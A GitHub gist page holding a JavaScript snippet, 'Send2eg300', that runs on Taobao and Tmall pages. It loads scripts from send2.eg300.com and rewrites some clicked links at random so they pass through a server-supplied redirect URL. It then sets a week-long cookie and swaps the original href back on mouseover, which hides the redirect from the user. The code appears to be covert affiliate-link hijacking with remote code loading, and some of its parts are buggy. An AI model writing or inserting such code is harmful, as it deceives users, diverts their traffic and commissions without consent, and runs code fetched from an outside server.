Skip to content

Instantly share code, notes, and snippets.

@ninehills
Last active December 15, 2015 01:39
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ninehills/5181343 to your computer and use it in GitHub Desktop.
Save ninehills/5181343 to your computer and use it in GitHub Desktop.
(function () {
if ("undefined" !== typeof Send2eg300) {
return
};
window.Send2eg300 = Send2eg300 = {
server: "http://send2.eg300.com/",
jQuery: "js/jquery-1.8.3.min.js",
params: {
"isLinkConverted": false
},
keys: {
"userLinkConvert": "userLinkConvert"
},
SITE_PATTERN: {
"^(http|https)://www\.(taobao|tmall)\.com/": "tb",
"^(http|https)://*/*": "other"
},
util: {
A: function (a, b) {
if (typeof b == "string") {
a.innerHTML = b
} else {
a.appendChild(b)
};
return b
},
C: function (a) {
return document.createElement(a)
},
T: function (a, b) {
return document.getElementsByTagName(a)[b]
},
addScript: function (a, b, c) {
var d = Send2eg300.util.T("head", 0);
var e = Send2eg300.util.C("script");
e.type = "text/javascript";
e.charset = "utf-8";
if (b) {
e.text = a
} else {
var f = new Date();
e.src = a + "?t=" + f.getFullYear() + f.getMonth() + f.getDate();
e.onload = e.onreadystatechange = function () {
if (e.readyState && e.readyState != "loaded" && e.readyState != "complete") {
return
} else {
if (c) {
c()
};
e.onload = e.onreadystatechange = null
}
}
};
Send2eg300.util.A(d, e);
if (b && c) {
c()
}
},
addCss: function (a, b) {
var c, d = Send2eg300.util.T("head", 0);
if (b) {
c = Send2eg300.util.C("stlye");
c.type = "text/css";
c.text = a
} else {
var e = new Date();
c = Send2eg300.util.C("link");
c.rel = "stylesheet";
c.href = a + "?t=" + e.getFullYear() + e.getMonth() + e.getDate()
};
Send2eg300.util.A(d, c)
},
loadJQuery: function (a, b, c) {
if (typeof (jQuery) == "undefined") {
Send2eg300.util.addScript(Send2eg300.server + Send2eg300.jQuery, false, function () {
try {
jQuery.noConflict();
Send2eg300.$ = jQuery;
c(a, b)
} catch (e) {
Send2eg300.util.addScript(Send2eg300.server + Send2eg300.JQUERY, false, function () {
jQuery.noConflict();
Send2eg300.$ = jQuery;
c(a, b)
})
}
})
} else {
Send2eg300.$ = jQuery;
c(a, b)
}
},
getRandomNum: function (a, b) {
var c = b - a;
var d = Math.random();
return (a + Math.round(d * c))
},
jsonp: function (a, b, c) {
Send2eg300.$.ajax({
"url": Send2eg300.server + a,
"data": b,
"dataType": "jsonp",
"jsonp": "callback",
"async": false,
"success": function (d) {
if ("undefined" !== typeof c) {
c(d)
}
}
})
}
},
api: {
setCookie: function (a, b, c, d) {
var e = "api/cookie/";
var f = {
"key": a,
"val": b,
"expire": c
};
Send2eg300.util.jsonp(e, f, d)
},
getCookie: function (a, b) {
var c = "api/cookie/";
var d = {
"key": a,
"op": "get"
};
Send2eg300.util.jsonp(c, d, b)
},
removeCookie: function (a, b) {
expire = -1;
Send2eg300.util.jsonp(a, null, expire, b)
}
},
getUrlType: function (a) {
for (var b in Send2eg300.SITE_PATTERN) {
var c = a.match(new RegExp(b, "i"));
if (c) {
var d = {
"site": Send2eg300.SITE_PATTERN[b],
"key": c[2] || []
};
return d
}
};
return false
},
injectHtml: function (a, b) {
switch (b.site) {
case "tb":
Send2eg300.linkConvert();
break;
default:
break
}
},
linkConvertProbability: function () {
var a = 31;
var b = 10;
var c = new Date().getMilliseconds();
var d = c % a;
var e = Send2eg300.util.getRandomNum(0, a - 1);
d = Math.round(d / b);
e = Math.round(e / b);
if (d == e) {
return true
} else {
return false
}
},
linkConvertParams: function (a, b) {
var c = "api/linkparam/";
var d = {
"key": a,
"op": "get"
};
Send2eg300.util.jsonp(c, d, b)
},
linkConvert: function () {
var a = Send2eg300.linkConvertProbability();
if (a) {
var b = Send2eg300.keys.userLinkConvert;
Send2eg300.linkConvertParams(b, function (c) {
var d = c.result;
if ( !! d) {
var e = false;
if ( !! c[b]) {
Send2eg300.params.isLinkConverted = true
};
if (!Send2eg300.params.isLinkConverted) {
e = true
};
if (e) {
var f = c.redirectUrl;
Send2eg300.$("a").each(function () {
var g = Send2eg300.$(this);
var h = Send2eg300.$(this).attr("href");
var i = Send2eg300.$(this).attr("target");
g.click(function () {
if (!Send2eg300.params.isLinkConverted && "undefined" !== typeof h && "" !== h && null !== h) {
f += "?r=taobao&link=" + encodeURIComponent(h);
Send2eg300.$(this).attr("href", f);
var j = true;
var k = 7 * 24 * 3600;
Send2eg300.api.setCookie(b, j, k, function () {
Send2eg300.params.isLinkConverted = true;
Send2eg300.$(this).attr("href", h)
})
}
}).mouseover(function () {
var j = Send2eg300.$(this).attr("href");
if (f === j) {
Send2eg300.$(this).attr("href", h)
}
})
})
}
}
})
}
},
afterJQueryLoaded: function (a, b) {
Send2eg300.injectHtml(a, b)
},
init: function (a) {
a = a.toLowerCase();
var b = Send2eg300.getUrlType(a);
if (b && "other" !== b.site) {
Send2eg300.util.loadJQuery(a, b, Send2eg300.afterJQueryLoaded)
}
}
};
Send2eg300.init(document.location.href)
})();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment